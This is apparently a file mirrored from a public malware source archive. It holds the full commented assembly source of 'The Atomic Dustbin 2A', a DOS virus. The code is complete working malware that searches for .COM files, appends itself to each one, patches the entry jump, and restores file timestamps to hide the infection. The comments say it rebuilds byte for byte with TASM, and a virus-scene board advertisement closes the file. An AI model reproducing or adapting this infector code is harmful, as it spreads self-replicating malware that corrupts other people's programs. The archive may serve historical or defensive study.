mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
163 lines
3.6 KiB
NASM
163 lines
3.6 KiB
NASM
;Disassembly of the Atomic Dustbin 2A virus by Memory Lapse.
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;For a byte-to-byte matchup, assemble with TASM /M2.
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.model tiny
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.code
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org 100h
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start:
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db 0e9h, 02, 00 ;JMP NEAR PTR STARTVIRUS
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db 'ML' ;Virus signature.
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startvirus:
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call get_relative
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get_relative:
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pop bp
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sub bp,offset get_relative
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lea si,[bp+restore_bytes]
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mov di,100h
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push di
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movsw
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movsw
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movsb ;Restore start of host.
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mov ah,4Eh
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lea dx,[bp+filemask]
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int 21h ;Find first.
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jc quit_virus
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call try_infect
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loc_2:
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mov ah,4Fh
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int 21h ;Find next.
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jc quit_virus
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call try_infect
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jmp quit_virus
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nop
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mov ah,09
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lea dx, [bp+message]
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int 21h
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int 20h
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quit_virus:
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mov bp, 100h
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jmp bp ;Restart host.
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try_infect:
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mov ax,3D02h
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mov dx,9eh ;Offset of filename in DTA.
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int 21h ;Try to open file in read/write
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;mode.
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;No error checking!!
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xchg bx,ax ;Handle more useful in BX.
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mov ax,4200h
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xor cx,cx
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xor dx,dx ;CWD!
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int 21h ;Seek to start, but filepos
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;is already equal to BOF.
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mov ah,3Fh
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mov cx,5
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lea dx,[bp+restore_bytes] ;Read five bytes.
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int 21h
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cmp word ptr cs:[bp+restore_bytes+3],'LM'
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je loc_2
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mov ax,5700h
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int 21h ;Get file date/time
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push cx
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push dx ;Save it.
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mov ax,4202h
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xor cx,cx
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xor dx,dx ;CWD!
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int 21h ;Seek to EOF.
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push bx
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sub ax,3
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lea bx,[bp+jmpdata]
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mov [bx],ax ;JMP constructed.
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pop bx
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mov ah,40h
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mov cx,(endvirus-startvirus)
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lea dx,[bp+startvirus]
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int 21h ;Attach virus to new host.
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mov ax,4200h
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xor cx,cx
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xor dx,dx ;CWD!
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int 21h ;Back to bof.
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mov ah,40h
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mov cx,1
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lea dx,[bp+jump]
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int 21h ;Write first byte of jmp.
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mov ax,4200h
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xor cx,cx
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mov dx,1 ;Seek to bof+1.
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int 21h
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mov ah,40h
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mov cx,4
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lea dx,[bp+jmpdata]
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int 21h ;And finish the jmp write.
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;(probably some anti-
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;heuristical code)
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mov ax,4200h
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xor cx,cx
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xor dx,dx
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int 21h ;back to bof AGAIN.
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mov ax,5701h
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pop dx
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pop cx
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int 21h ;Restore file date/time.
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mov ah,3Eh
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int 21h ;Close file - infection
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;complete.
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ret
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filemask db '*.COM', 0
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db '[TAD2A] Created by Memory Lapse of Ontario, Canada', 0Dh, 0Ah, '$'
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db '[TAD2A] The Atomic Dustbin 2A - Just Shake Your Rump!', 0Dh, 0Ah,'$'
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message db 'Fail on INT 24 .. NOT!!', 0Dh, 0Ah,'$'
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jump db 0E9h
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jmpdata dw 0
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db 'ML'
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db 00h, 00h
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restore_bytes:
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int 20h
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nop
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nop
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nop
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endvirus:
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end start
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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